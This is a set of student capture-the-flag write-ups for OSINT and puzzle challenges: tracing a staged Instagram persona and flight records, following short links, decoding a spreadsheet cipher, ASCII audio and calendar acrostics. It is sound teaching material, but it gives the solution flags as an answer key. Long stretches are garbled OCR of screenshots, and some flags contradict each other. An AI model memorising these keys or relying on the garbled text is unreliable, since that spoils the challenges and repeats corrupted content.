3. After that go to the second hint, “She likes to slice” , at first I thought she likes to slicing
food but no... My bad. And I found this pic that without full brightness I can see it clearly.

Q caitvyne
18 Se, mber

L2 E( @ S

caitvyne That Weapol lights |

Lihat terjemahan

4. Next, I search for the third hint. “While in the middle of lagoon”. There is two pic tho,but



Just one is the answer,which is lead to this pic, its pretty dark so I must full bright my phone.

q caitvyne

24 September

Qo v

caitvyne Really good view before the rain ¥

Lihat terjemahan

5. And for the last hint which is “Keeping themselves full”,and there is a ton of food image
there so I search one by one and found this.



& Postingan

q caitvyne
L |

25 September

> | >
OFANN Y
caitvyne Some of my delicious meals @&

Lihat terjemahan

so that’s it for my obbsession,pretty easy after [ solve findmyaunt but for the next osint?
Living hell.

LOANDBEHOLD
Solved On: October 13th, 8:32:55 PM
Solved by: Diah Safitri Pane

Flag Retrieved:
pu-flag{QQFX+RP_SL119 ChatuchakPark Brussels Boieng7878 11A_ Business}



Challenges overview:

The challenges must really focus because I need to see every hidden hints in the image and I
must search the Flightnumber in ChatGpt to find me the flight number that is needed and after
that I must search through Flightradar to search the airplane type and where he go next.

Key Findings:
I must stay sharp and focus to see which one is the right plane and the flight number.

Tools Used:
-ChatGPT

-OSINT - Flight Radar
-GMAPS

-Google

Solving Step-by-step:

1. Atthe first photo the hints give me image that’s in Plaza Senayan and I easily got the
Storepluscode. EZ

(=) o La Prairie Plaza Senayan Arc:
pusat Perbelanjaan Mal ]

@ JI. Asia Afrika No.B, RT.I/RW.3, Gelora,
Kecamatan Tanah Abang, Kota Jakarta Pusat, t i
Daerah Khusus Ibukota Jakarta 10270 o Plaza:Sanavan

® Segera tutup - 22.00 - Buka Rab pukul
10.00 - Plaza Senayan XXI Q

® laza-senayan.com ’MaIIPIaza Senayan
plaza-senayan.co ;

R,  (021) 5725555 « EW Lavva (6

-UB
.+« \ QQFX+RP Gelora)Kota Jakarta Pusat, Daerah
Rhusus Ibukota Jakarta

@ Aktivitas Google Maps Anda ' =
ICIE:ANtlErroiEDiahlSalitiiBane

[  Tambahkan label METRO Plaza|Senay

c
# Corranban adis ~ - =



2. Next for the flight number, I find it from CHATGPT. HEHE

i Lion Air p penerbangan malam dari CGK
e DMK tepat jam

data yang aku temukan:

ukul 18:20 ke DMK

0° dalam daftar panerbangan malam

ari CGK ke DMK ada pada 2010, menurut jadwal yang mereka tampilkan

Namun lihat juga data FlyTeam: penerbangan SL117 (CGK -» DMK) biasanya pagi, pukul 06:30.  #yssms

Jadi kemungkinan b

Kalau kamu izinkan, aku bisa ¢ terbaru berdasarkan tanggal yang kamu maksud (misalnya hari ini
atau tanggal tertentu), supaya kita tahu apakah jam itu betul atau gambarmya cuma tebakan. Mau aku cari

3n tanggal berapa?

ST8 Sources

3. The third image is at Chatucakpark, so he went to there with subway that’s call ChatucakPark
so this is the subway station name.
Chatuchak Park MRT station 4 41anguages

Aricle  Talk

Togls ~

From Wikipedia, the free encyclopedia

40°E

Not to be confused with SRT Dark Red Line Chal

hak station.
Chatuchak Park station (Thai: anyflayuandng, R1GS: Sathani
Suan Chatuchak, pronounced [s4 thé" ni” silan 1647 107 T64K]) is a #uandng
MRT station en the Blue Line. It is located under the Chatuchak Park
eastern part of Chatuchak Park. It is also located near the eastern
exit of the Chatuchak Weekend Market, The station, which
opened in July 2004, is an important interchange station of

Bangkol

northern Bangkok because passengers can connect lo BTS
Sukhumvit Line at Ma Chil station. The symbol color, which is
decorated on the pillars, is . blue.!"!

Station layout e

G - Bus stop
B1 Basement  Exits 1-4, MetroMall General information
Location ct k, Bangkok, Th
Ti "
B2  Concourse icket machines o PR ART
B3 towards Tha Phra via Ban, Owned b Mass Rag
Platform 2 B ¥y

(Kamp Thailand (MRTA)



Lo svsmiss )
= I

4 - reoNoMY L})

This is the seat position, I got the clue from the image.

2200t 2025 Bangkok weg  Arussebsomy  TER - 1EI0AM — 7280 AN

210c02025 Banghokwoo  Drusselsasy 788 230 am a0 AM

200ct 2025 Bangkok oo Brussel sy 784 - IZI0AM - FAD AN

19001 2025 Banghok wor  Broschosw  TEE - 1Z30AM - T.40 AN

18062025 Banghok oo Brussel ey 788 = 230 — 740 AN

170062025 Banghokime  Beuscals iy 78S = 230a — S

16 0cr 2025 Bangkok mwoo  Rrusesle gy  TER - 1230AM — 7:40 AN l Scheduibed

1500t 2025 Bangkokiwog Brusselsimy  B78BpsTGN  — 1Z0AM — 740 AM | Fstimated departure 12:30 AM

140c2025 Banghok oo Brusselsioen  B78Basten 1144 IZIOAM IZSIAM TAOAM | Landed 7:43 AM H

13025 Bangkokwos  Brussek ey B7EBUGTAN 1145 VZIOAM TZSTAM TADAM | Landed 7:36 AM

12002025 Banghok woq  Brusseb s BBsaico 1134 TZIOAM IZESAM  FADAM | Landed #.29 AM w o

110t 2025 Banghokwes  Brusschams  B788sarch 1143 TEI0AM IZATAM TAD AM | Landed 7:23 AM e o “

100ct 2025 Banghok jeoo  Brussehomy  BIS8aaroa  10:39 @lﬂ.{iﬂmﬁﬁmm’”‘“ e v u

U S g v [Re— B . |
5 080ct 2025 Bangkok moq  Rrusselsmy  B78Bowrar 1137 130AM IZELAM 740 AM | Landed 7.31 AM v H

This is the plane type and the final city.



NameJumpBhonkUpUp

Solved On: October 12th, 1:59:56 PM

Solved by: Richie Obhasa

Flag Retrieved: pu-flag{4re-YOu-3V3n-A-G00d-St41k3r-t0-f1nd-m3}
Challenges overview

A multi-step OSINT / web-exploration puzzle embedded in a set of user profiles, playlist
descriptions and short/redirect links. The challenge hides a short link — redirect — Google doc
that intentionally contains a dead/invalid link message, but additional clues across playlist
descriptions, collaboration dialogs and a hidden spreadsheet reveal the final flag.

The flow required finding a YouTube playlist owner, checking collaboration/description data for
short links (tiny.cc), resolving those short links, following clues about “shortie” and /gA09j, and
finally finding a Google Sheets/Doc entry that spells out the flag parts across cells.

Key findings

e Playlist owner metadata and the collaboration popups contained accounts named Caelus,
ValEnjoyer, mads mikkelsen, etc. These were useful to trace the path of clues. (See
screenshots showing collaboration dialogs.)

e Several playlist descriptions and profile descriptions contained tiny.cc or instagram links
with obfuscated parameters. One tiny.cc link redirected to a Google Document that
explicitly says “THIS LINK IS INVALID LOL, GOTCH YOU :V”, indicating the
intentional dead link.

e The literal text “what a shortie on where to go /gA09j” in a playlist description was a
clue: /gA09j behaves like a short URL slug. Testing common short domains (shorturl.at,
bit.ly) with /gA09j was a valid hypothesis.

e A Google Sheets discovered in the trail contained the final flag pieces laid out across
columns: pu - flag { 4re - YOu - — assembling these (and adding a closing brace)
produces the flag candidate pu-flag{4re-YOu}.

Tools used

e Web browser (to inspect YouTube playlist pages, collaboration popups, and profile pages)



Short-URL resolver (manually via browser by inserting shorturl.at/gA09j, bit.ly/gA09j,
or by following tiny.cc redirects)
Google Docs / Google Sheets (to view the redirected document / spreadsheet)

ChatGPT (used as an analysis helper to interpret the “shortie” clue and suggest likely
short URL domains)
(Optional) basic OSINT techniques: view page source, click collaboration/description
popups, follow links

Solving — step-by-step

1.

Find the X Account goodctfboi and search youtube link to mads mikkelsen



goodctfboi
76 postingan

Postingan EIELET

timnas indonesia®? %249

¥ o

' ..‘-‘,é;

P goodctfboi @goodctfboi - Of
,‘ == 2, 25 &), HE el
"' gnndctfbm -

W, goodctfboi @goodctfl 6 Jai
j_,‘ apparently getting up at 3 in the morning

doing ctf is considered weird




mads mikkelsen

@madsmikkelsen-e1j - 1 subscriber

Selengkapnya tentang channel ini ...selengkapnya

Playlist

Playlist yang dibuat

And we can run away
1a the walls inside your howse
Dan kita akan membangun
dunia kecil didalam rumahmu

1 cam be the cat,
baby, you can be the mouse

5 Kita bisa jadi kucing dan tikus
= 1video [ljyom? § #FRT < 1 video BT - 7 video)

test 2 test
Lihat playlist lengkap Lihat playlist lengkap Lihat playlist lengkap

=
¥

2. Identify owner/collaborators
o Open the playlist collaboration dialogs to list owners/collaborators — e.g.
Caelus, ValEnjoyer, mads mikkelsen.

MISA MISA!

Kolaborasi
C Caelus
Pemilik

V ValEnjoyer

@z o o




B3

" Deskripsi

https://www.instagram.com/caitvyne2/profilecard/?
igsh=MXg2d3p5Y2tkc2psNQ==

o= - -

And we can run away
1o the walls inside your house

And we can run away
to the walls inside your house

Dan kita akan membangun
dunia kecil didalam rumahmu

Ly / .
= G 1 can be the cat, Kolaborasi
baby, you can be the mouse
5 Kita bisa jadi kucing dan tikus
dan bermain kejar-kejaran
Indoli
m mads mikkelsen

Pemilik

C Caelus

P Putar semua D & @

3. Check playlist descriptions / profile cards
o Inspect description popups and profile cards. One playlist description contained:
https://www.instagram.com/caityvne2/profilecard/?igsh=M X g2d3p5Y 2tkc2psNQ
== and a tiny.cc link tiny.cc/caityvne2.



caitvyne2

Caitlyn Vyne
1kiriman 0 pengikut 1 diikuti

tiny.cc

p)

= tiny.cc/caitvyne2

4. Resolve the tiny.cc / short link
o Open tiny.cc/caityvne2 (or equivalent short link found in the playlist/profile). The
target doc returned “THIS LINK IS INVALID LOL, GOTCH YOU :V” —
intentionally zonked. (Screenshot /mnt/data/WhatsApp Image 2025-10-16 at
07.38.07_298c2ea2.jpg).

Mendeteksi enkr x ¥ ROT47, From Bas X 4 Google Gemini » (402) Work - You

C =| tiny.cc/caitvyne2

ntitled document & O &>
ile Edit Tampilan Alat Bantuan

THIS LINK IS INVALID LOL, GOTCH YOU :V




5. Switch target to the other collaborator (ValEnjoyer)
o Explore other playlists owned/collaborated by ValEnjoyer — particularly the
Banger playlist — and inspect the description text “what a shortie on where to go
/gA097”. (See /mnt/data/Screenshot 7.png).



\V oleh ValEnjoyer

Playlist - 6 video - 177 x ditonton

what a shortie on where to go /gAo9j

oz -

6. Interpret the clue /gAo09j
o Treat /gAo09j as a short-URL slug. Try common short domains (e.g.,
shorturl.at/gA09j, bit.ly/gA09j, tinyurl.com/gA09j) or use ChatGPT to suggest



likely shortener domains. The “shortie” wording hints at short URL usage.

what a shortie on where to go /gAo9j

coba terjemahkan ini

Kalimat “what a shortie on where to go /gA09j” bisa diterjemahkan secara literal menjadi:
"Betapa pendeknya (sesuatu) tentang ke mana harus pergi /gAo9j”

Namun, kalimat ini terdengar seperti petunjuk (hint) atau kode dalam konteks puzzle atau CTF.

Kemungkinan besar artinya bukan literal, melainkan:

» “shortie” bisa berarti short link (tautan pendek)
s “on where to go” bisa berarti tentang ke mana harus pergi (menunjukkan arah atau URL)

s “/gA09j” tampak seperti slug dari sebuah shortened URL (misalnya di bit.ly, tinyurl, atau short.gy)
Jadi, makna sebenarnya kemungkinan adalah:
“Ini adalah tautan pendek menuju tempat yang harus kamu tuju: /ga09j ."

Jika konteksnya CTF atau enkripsi, maka kalimat ini adalah clue menuju URL pendek (short link) yang

mungkin berisi langkah atau flag berikutnya.

Apakah kan ?° Tanya ChatGPT .5 ke mana tautan “/gAo9j” itu mengarah (dengan asumsi domain ter

seperti https://shorturl.at/gho9j atau https://bit.ly/gho9] )?

7. Open the redirected Google Docs/Sheets
o Following the successful short URL lead eventually revealed a Google Sheets
document (or spreadsheet view) that contained table cells with the pieces of the
flag



A 97 a docs.google.com

Untitled spreadsheet

Sheet1




MISC

StockList

Solved On: October 10th, 10:33:21 AM
Solved by: Gale Adi
Flag Retrieved: pu-flag{yOu-h4v3nT-s3En-4nYtH1n9-y3t}

Challenge Overview:

The StockList challenge provides a link leading to a spreadsheet containing a list of games and
several tables filled with codes like A10, C6, B3, etc.

At the bottom of the spreadsheet, there’s also a long hexadecimal string.

The challenge description includes a clue: “why is there an encode tab? ", indicating that the
table is part of an encoding or cipher puzzle designed to hide a secret message — the flag.

Key Findings:

e FEach combination like B5 or C6 points to a specific coordinate in another table that maps
to letters or symbols.

e The second pink table acts as a substitution cipher grid, where each cell represents a
character.
Decoding all sequences using this cipher table produces a leetspeak string:
yOu-H4v3nT-s3En-4nYtH1n9-y3t
Translating the leetspeak gives the readable phrase:
“you-havent-seen-anything-yet”, which corresponds to the final flag.



Tools Used:

Google Sheets / Microsoft Excel

Manual decoding and mapping

ChatGPT (for assistance and verification)
Hex-to-Text converter (Cyber Chef)

Solving Step-by-Step:

1. Initial Analysis
o The provided link http://tiny.cc/game-store2 opened a spreadsheet containing a
“Games List” and multiple coded cells such as A10, E6, C6, etc.
o The hexadecimal text at the bottom (7468652066...) decodes to

Operations Recipe ~ B mE  input + 0Oz =
THERES POGH6CH16TIN60TI206 60207 46865 2075607 26560656 1 TIESEA2067 616065202 29204 761 6164 206 7561602008
From Hy
Favourites *
uto
= T -

E Frroe v

Data format

- < BAKE!
Encryption  Encoding S e Rk
o O M T byt L

“the flag is on the unreleased game :)”
suggesting that the flag relates to unreleased games like Little Nightmare III haracter in the
second pink cipher table.

2. Pattern Discovery



o Each code (e.g., A10, C6) corresponds to a specific character in the second pink
cipher table.

3. Decoding Process

ChatGPT ~ I, Bagikan

>|a|=lalelcl<]| |z]a]=
|- on|h [ o] f= o

mlo|s|%|u|e|a|«|s =

B3 AW EE C6 B3 B1 E2 E10 A1l
A9 Ce6 B1 C11 D6 C4 B3 E10 C4

Selesai berpikir selama 3m 8s >

Nice puzzle — | decoded it. : | | L —E

The cell sequence maps to:

yeu-H4v3InT -S3En-AnYtH1n9-y3t . [—\
Interpreting leetspeak gives the plain phrase: m b \ r
4

you-havent-seen-anything-yet

0 By cross-referencing each cell (e.g., B5, A10, E6, C6, etc.) with the cipher table, a
sequence of characters was formed.

0 The decoded output:
0 yOu-H4v3nT-s3En-4nYtH1n9-y3t
Formatting the Flag

o According to the given format pu-flag{some flag}, the final flag becomes:
o pu-flag{yOu-h4v3nT-s3En-4nYtH1n9-y3t}

Verification

o The flag was submitted and verified as correct in the CTF platform.






BrokenBot

Solved On: October 12th, 9:15:41 AM

Solved by: Richie Obhasa

Flag Retrieved: pu-flag{ ASCII-1s-s0-3asy-cRq-YOu-h34R?}

Challenges overview

An audio file (Chall.m4a) contains a “broken” Al bot speaking a long sequence of integers. The
task is to “translate” what it says. The description hints that the bot now “speaks something I
don’t understand,” which strongly suggests numeric encodings (e.g., ASCII/Unicode code
points).

Key Findings

The audio clearly reads numbers in the 30—120 range, typical of ASCII.
A short sample like 112, 117, 45, 102, 108, 97, 103, 123, ... maps to characterspu-fla
g { ..., confirming ASCII decimal.

e Therefore the solution is to transcribe the numbers and convert each to its ASCII
character, then concatenate.

Tools Used
e Gemini For Transcription and convert decimal to text
Solving Step-by-step

1. Inspect the prompt & file
o Download and play Chall.m4a. You’ll hear a clean sequence of integers read out
loud.

2. Transcribe the numbers using Gemini
o Jot the numbers in order (comma-separated).
Example from the beginning of the file:
112, 117, 45,102, 108, 97, 103, 123, ...



Trtargzmrrym ba b

Wby Friwned masrhergily o scrmabing b oy Al Bt ! o i apsnsks ssrmting |dont
[T S NEn——_
[ Tonmners sy el searyys rroshaledran: sers vt ks A1 See-sayes den selasang i
e s s ey ki s g . il Aot Bt
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Ancha ish g mgruls e s g bicudl 25231845 g kissergkinan bises adsish
el gy dirrsalesd b Al Bos torssies.
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s arfien e -

113, 187, 45, 102, 405, 97, 10, 135,

Byt kevitaleanys achdil St CTF (D e The Plg) dengin o ok den
ptujulenys ackelad “Trarclite” (et ot aogke bk enghien b adeksh
bemci ASETI [Ama ricen Standard Sod for Informtion Interchengs]) yers b St jershizn
rrasfac tds Lk meeruisptio Flag.

Arga {Tacical]  Karakier ASCE

" [

T

Flag yang Dihaadlkar:

Dt vy syl st ks i ot AT o i, Pl i b isbu oyt nclidale

prafting { ASCH-In- Somad- - ¥lo-b3RT}

Prusctia Archs kel e & sl ey e sogion s sk seears boner ek
rrssefapsrtien Fleg g ]







3. Recognize the encoding
o Values fall in printable ASCII range (32—126).
o Quick spot check: 112 — 'p', 117 — 'u', 45 — '-' = starts with pu-.

4. Convert decimals — ASCII (Using GEMINI)
Flag yang Dihasilkan:

Dengan menggabungkan semua karakter dari urutan ASCII di atas, Flag yang tersembunyi adalah:

puflag{ASCII-1n-50und-c4n-Y0u-h34R?}

Pastikan Anda telah memasukkan seluruh urutan angka dari audio secara benar untuk
mendapatkan Flag yang valid.

5. Final Flag

o Paste the exact decoded string pu-flag{ ASCII-1s-s0-3asy-cRq-YOu-h34R?} into
the portal.



RemoteWorkerSoBusyLha

Solved On: October 13th, 1:36:10 PM
Solved by: Richie Obhasa
Flag Retrieved: pu-flag {h4ve-yOu-trY-t0-r34d-c4lendar-b3f0re}

Challenges overview

You’re given an exported calendar (.ics). The prompt hints that the person is “super busy,” but
the schedule “looks odd.” The flag is hidden inside the calendar’s event names and structure.

Key Findings

e The calendar contains several all-day events named just “-”. These don’t make sense as
real meetings and act as block separators.
Inside each block, the first letters of successive event titles form a word.
Across blocks, those words read like a sentence in leetspeak that matches the required
flag format.

Tools Used

e ChatGPT for The translate message and open the calender

Solving Step-by-step

1. Open the ICS: Unzip Robert Cashew.ics.zip, then open Robert Cashew.ics in a text
editor.

2. Notice the structure: Each event is inside BEGIN:VEVENT ... END:VEVENT with a
SUMMARY: line (the meeting title). You’ll also see several all-day events whose
SUMMARY is “-”; treat each “-” as the start of a new block.



RemoteWorkerSoBusyLha
500

s e 1 Seraamb skt s

Flag Fareat pu flagisoms flag)

| Robert Cashew.ics
) File

bagaimana cara menyelesaikan file ini

Bagus — file Robert_Cashew.ics ini adalah file kalender (format iCalendar) yang berisi semua jadwal dari

seseorang yang “sibuk”, seperti disebut di challenge. Dalam CTF jenis ini, flagnya disembunyikan dalam pola

acara atau teks tertentu di dalam kalender.
- - - tﬁa
Berikut cara menyelesaikannya langkah demi langkah &

3. Read acrostics: For each block, take the first letter of every event title (keep digits as
digits). Examples:
o Block 2 titles: feedback session, lunch with team, anytime call, game night,
handoff, 4pm checkpoint, vendor demo, engineering sync - flagh4ve —
“flagh4ve”.



o Next blocks yield: yOu, try, t0, r34d, c4lendar, b3for ...

@ 4. Pola “segmen” antara tanda “-"

Antara setiap tanda - terdapat blok event.

Kalau lita ambil huruf pertama darni setiap event di dalam satu blok, kita bisa periksa apakah terbentuk kata

tersembuny:

Blok
| (awal-23 Sep)

Bl (24-27 Sep)

Hl (27-30 Sep)
&l (30 Sep-3 Oct)
® (3-7 Oct)

B (7-10 Oct)

i (10-17 Oct)

B (17-23 Oct)

8 (akhir)

Isi

focus time, vacation, planning sync, updates review
feedback session, lunch with team, anytime call, game
night, handoff, 4pm chedkpoint, vendor demo,
engineering sync

yearly audit, 0-day chedk-in, user interviews

team standup, roadmap planning, Yearty audit

task triage, 0-day rollout

retrospective notes, 3rd-quarter review, 4am pager test,
design review

dient call, 4pm sync, launch prep, eng standup,
newsletter sync, demo day, all-hands, release notes

budget chedk, 3 issues triage, follow-up, 0-bug bash,
release retro

end-of-03, start Q4

Huruf Awal Catatan
fvpu — “fupu™

flaghdve @ menghasilkan FLAGH4VE

c4lendar

b3f0rr mendekati b3~ (bisa
“heflr)

penutup “es” atau “end start”




coba check di filenya apakah ada yang mencungakan

Sudah aku periksa isi lengkap file Robert_Cashew.ics — dan berikut hasil analisis mendalamnya ®,

& 1. Struktur file
File ini berformat standar iCalendar (ICS) dari Google Calendar.

Semua event berada antara BEGIN:VEVENT dan EMD:VEVENT , dengan atnibut penting:

* SUMMARY: — nama acara (judul meeting)
s  DTSTART — waktu mulai
* TRANSP: — transparansi (OPAQUE = busy, TRANSPARENT = free)

@ 2. Pola yang langsung mencurigakan
Ada beberapa hal tidak wajar yang tampak mencolok:
Pola Deskripsi
Banyak event bermama - (hanya tanda Biasanya tidak masuk akal di kalender

Mirnus)

Ada tiga event dengan e-day ... dan Penggunaan “0-day” mengarah ke
8-bug ... istilah elsploit keamanan

Ada event dengan “end-of-Q3° dan “start Menunjukdan batas walkdy, bisa
(07 menandai awal dan akhir pesan

Event dengan angka di depan | 2pa , Huruf + angka sering digunakan untuk
3rd , @-day, dam ) menyusun pesan tersemixunyi

Tidak ada deskripsi lain (DESCRIPTION Biasanya CTF ICS file memang
kosong) menyembunyikan flag di SUMMARY

Kenapa mencurigakan

Bica jadi separator / kode

Iunglin awal/akhir flag

Pola numerik yang disengaja

Memperkuat dugaan

4. Assemble the phrase: Combine the block words (ignoring the opener/closer blocks) and

normalize with hyphens —
have-you-try-to-r34d-c4lendar-b3fore

Flag yang paling konsisten dengan polai ** Tanya ChatGPT
Coba 1 (paling kuat): pu-flag{have-you-try-te-r34d-calendar-bafare}

Coba 2 (kalau checker minta semua huruf yang terbacal pu-flag{hdve-yeu-try-te-riad-cslendar-

baferes}

Coba 3 (kalau mereka menolak tanda hubung di body): pu-flag{hsveyeutryterz4dcalendarb3fore]}

Kalau “Coba 1° masih ditolak, biasanya platform mereka sensitif ke tanda hubung/underscore. Ganti semua

- jadi _

* Coba 4: pu-flag{have you try te r3ad c4lendar b3fore}

Empat vanan di atas berasal langsung dan urutan swMaRY di file ICS dan penggunaan - sebagai delimiter.

5. Wrap to format: Put it in pu-flag{...} —
pu-flag {h4ve-yOu-trY-t0-r34d-c4lendar-b3f0re}




Challenge Name 2

Solved On: <Date>
Solved by: <Student Name>
Flag Retrieved: <flag>

Challenges overview:
<What the challenge is about>

Key Findings:
<What did you find interesting upon first glance of the challenge>

Tools Used:
<List of tools and software used to solve the challenge>

Solving Step-by-step:
<Mention the step by step you do to get the flag (attach screenshot or code)>
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